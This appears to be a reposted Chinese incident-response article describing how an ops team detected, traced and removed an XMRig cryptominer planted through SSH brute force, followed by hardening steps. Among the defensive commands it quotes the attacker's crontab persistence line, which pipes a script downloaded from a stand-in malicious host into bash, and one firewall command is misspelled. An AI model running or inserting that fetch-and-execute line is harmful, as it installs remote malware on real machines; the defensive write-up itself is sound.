当前位置: 首页 > article >正文

网络安全运维应急响应与溯源分析实战案例

在日常运维过程中,网络安全事件时有发生,快速响应和精准溯源是保障业务稳定运行的关键。本文将通过一个实际案例,详细解析从发现问题到溯源定位,再到最终解决的完整流程。

目录

一、事件背景

二、事件发现

1. 监控告警触发

2. 初步分析

三、溯源分析

1. 确定入侵源头

四、处置与恢复

1. 立刻阻断攻击者控制

2. 清除恶意程序

3. 服务器加固

五、总结与经验


一、事件背景

某互联网公司运维团队在日常巡检时,发现一台数据库服务器(192.168.1.100)的CPU使用率异常升高,并伴随大量未知进程占用系统资源,同时MySQL的查询响应时间大幅延长。初步判断可能存在异常入侵行为。

二、事件发现

1. 监控告警触发

使用 Zabbix 监控发现:

  • CPU 使用率持续超过 90%(长期稳定在 20% 左右)
  • MySQL QPS/TPS 下降明显,导致应用访问变慢
  • 服务器 磁盘 I/O 高异常

同时,Wazuh SIEM 平台检测到该服务器有异常 SSH 登录记录,涉及多个可疑 IP 地址。

2. 初步分析

(1)服务器资源消耗情况排查

top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10

发现多个可疑进程(xmrigkthreadd)在占用大量 CPU 资源,疑似挖矿木马。

(2)网络连接检测

netstat -antp
ss -tunlp
lsof -i

发现多个可疑的远程连接,连接至境外服务器 45.67.X.X:3333,疑似 C&C 服务器。

(3)日志分析

grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

发现多个异常 SSH 登录记录,部分 IP 源自境外,且短时间内进行了高频登录。

三、溯源分析

1. 确定入侵源头

使用 HIDS(主机入侵检测) 结合 日志分析,溯源入侵行为:

  1. 攻击者利用弱密码暴力破解 SSH 账户(root/root123)
  2. 登录后下载并运行恶意挖矿程序(XMRig)
  3. 修改 crontab 以保持长期控制

检查 SSH 登录记录

last -i | grep "root"

发现 root 账户从多个不明 IP 登录。

检查计划任务

crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/

发现恶意计划任务,定期下载并运行木马:

wget -qO- http://malicious-site.com/m.sh | bash

查找可疑进程执行路径

which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig

确认该进程为 挖矿程序,并且被设置为开机自启。

四、处置与恢复

1. 立刻阻断攻击者控制

  • 阻止恶意 IP
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
  • 禁用 root 远程登录
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
  • 修改所有账户密码,并启用 SSH 公钥认证

2. 清除恶意程序

  • 杀掉恶意进程
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
  • 删除木马文件
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
  • 检查后门
ls -al /root/.ssh/

发现 authorized_keys 中被植入了攻击者的 SSH 公钥,需删除:

echo "" > /root/.ssh/authorized_keys

3. 服务器加固

  • 开启 fail2ban 防暴力破解
apt install fail2ban -y
systemctl enable fail2ban
  • 设置 SSH 端口为非默认端口
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
  • 关闭不必要的端口
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service

五、总结与经验

  1. SSH 账户密码要设置足够复杂,避免使用 root 直接登录。
  2. 部署 Wazuh、Fail2ban 等安全工具,实时监控入侵行为。
  3. 定期检查服务器 CPU、内存、I/O 指标,发现异常及时分析。
  4. 建立应急响应预案,形成自动化处置流程。

http://www.kler.cn/a/589502.html

相关文章:

  • 【ES6】01-ECMAScript基本认识 + 变量常量 + 数据类型
  • Java高效构建树形结构——异步加载子节点的实现方案
  • “Failed to Load SteamUI.dll” 错误详解:全面解析与高效解决方案,助你快速修复 Steam 客户端问题
  • python拉取大视频导入deepseek大模型解决方案
  • ubuntu20.04下如何防止同一类型串口设备插入USB口无法区分到底是从/dev/ttyUSB0还是/dev/ttyUSB1读取数据
  • Java 8 Stream API:传统实现和流式编程的范式对比
  • 道格拉斯-普克算法
  • Android Room 框架公共模块源码深度剖析(四)
  • linux环境安装qnn_sdk 采坑记录
  • 事件驱动架构(EDA):微服务世界的未来趋势
  • LeetCode[206]反转链表
  • MySQL连接较慢原因分析及解决措施
  • C++基础 [五] - String的模拟实现
  • FlinkCDC 达梦数据库实时同步详解
  • java,poi,提取ppt文件中的文字内容
  • LLaMA-Factory微调sft Qwen2.5-VL-7B-Instruct
  • 【etcd】
  • 【通义千问】蓝耘智算 | 智启未来:蓝耘MaaS×通义QwQ-32B引领AI开发生产力
  • 本地部署DeepSeek-R1(Dify升级最新版本、新增插件功能)
  • 【嵌入式硬件】三款DCDC调试笔记